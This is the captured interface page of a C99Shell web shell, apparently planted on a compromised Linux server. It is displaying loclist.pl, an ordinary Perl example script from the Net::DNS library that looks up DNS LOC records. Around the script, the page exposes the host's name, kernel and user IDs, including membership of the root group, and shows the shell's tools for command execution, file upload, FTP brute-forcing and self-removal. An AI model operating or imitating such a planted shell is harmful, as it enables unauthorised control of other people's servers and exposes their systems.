!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/doc/libnet-dns-perl/examples/contrib/   drwxr-xr-x
Free 28.28 GB of 117.98 GB (23.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     loclist.pl (3.13 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl

# loclist.pl -- check a list of hostnames for LOC records

#  -v  -- verbose output (include NO results).  used to be the default
#  -n  -- try looking for network LOC records as well (slower)
#  -r  -- try doing reverse-resolution on IP-appearing hosts
#  -d  -- debugging output

# egrep 'loc2earth.*host' /serv/www/logs/wn.log |
#    perl -pe 's/^.*host=//; s/([a-zA-Z0-9.-]+).*/$1/' |
#    sort -u | ~/loclist.pl > loc.sites

use strict;
use warnings;

use Net::DNS '0.08';
use Getopt::Std;

getopts('vnrd');

$res = Net::DNS::Resolver->new();

line:
    while (<>) {
      chomp;
      $foundloc = $namefound = 0;

      next line if m/^$/;
      next line if m/[^\w.-\/+_]/; # /, +, _ not actually valid in hostnames

      print STDERR "$_ DEBUG looking up...\n" if $opt_d;

      if (m/^\d+\.\d+\.\d+\.\d+$/) {
    if ($opt_r) {
      $query = $res->query($_);
      
      if (defined ($query)) {
        foreach my $ans ($query->answer) {
          if ($ans->type eq "PTR") {
        $_ = $ans->ptrdname;
        $namefound++;
          }
        }
      }
    }
    next line unless $namefound;
      }

      $query = $res->query($_,"LOC");

      if (defined ($query)) {    # then we got an answer of some sort
    foreach my $ans ($query->answer) {
      if ($ans->type eq "LOC") {
        print "$_ YES ",$ans->rdatastr,"\n";
        $foundloc++;
      }
    }
      }
      if ($opt_n && !$foundloc) {        # try the RFC 1101 search bit
    @addrs = @netnames = ();
    $query = $res->query($_,"A");
    if (defined ($query)) {
      foreach my $ans ($query->answer) {
        if ($ans->type eq "A") {
          push(@addrs,$ans->address);
        }
      }
    }
    if (@addrs) {
    checkaddrs:
      foreach my $ipstr (@addrs) {
        $ipnum = unpack("N",pack("CCCC",split(/\./,$ipstr,4)));
        ($ip1) = split(/\./,$ipstr);
        if ($ip1 >= 224) { # class D/E, treat as host addr
          $mask = 0xFFFFFFFF;
        } elsif ($ip1 >= 192) { # "class C"
          $mask = 0xFFFFFF00;
        } elsif ($ip1 >= 128) { # "class B"
          $mask = 0xFFFF0000;
        } else {    # class A
          $mask = 0xFF000000;
        }
        $oldmask = 0;
        while ($oldmask != $mask) {
          $oldmask = $mask;
          $querystr =
          join(".", reverse (unpack("CCCC",pack("N",$ipnum & $mask))))
              . ".in-addr.arpa";
          $query = $res->query($querystr,"PTR");
          if (defined ($query)) {
        foreach my $ans ($query->answer) {
          if ($ans->type eq "PTR") {
            # we want the list in LIFO order
            unshift(@netnames,$ans->ptrdname);
          }
        }
        $query = $res->query($querystr,"A");
        if (defined ($query)) {
          foreach my $ans ($query->answer) {
            if ($ans->type eq "A") {
              $mask = unpack("L",pack("CCCC",
                          split(/\./,$ans->address,4)));
            }
          }
        }
          }
        }
        if (@netnames) {
          foreach my $network (@netnames) {
        $query = $res->query($network,"LOC");
        if (defined ($query)) {
          foreach my $ans ($query->answer) {
            if ($ans->type eq "LOC") {
              print "$_ YES ",$ans->rdatastr,"\n";
              $foundloc++;
              last checkaddrs;
            } elsif ($ans->type eq "CNAME") {
              # XXX should follow CNAME chains here
            }
          }
        }
          }
        }
      }
    }
      }
      if ($opt_v && !$foundloc) {
    print "$_ NO\n";
      }
    }

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--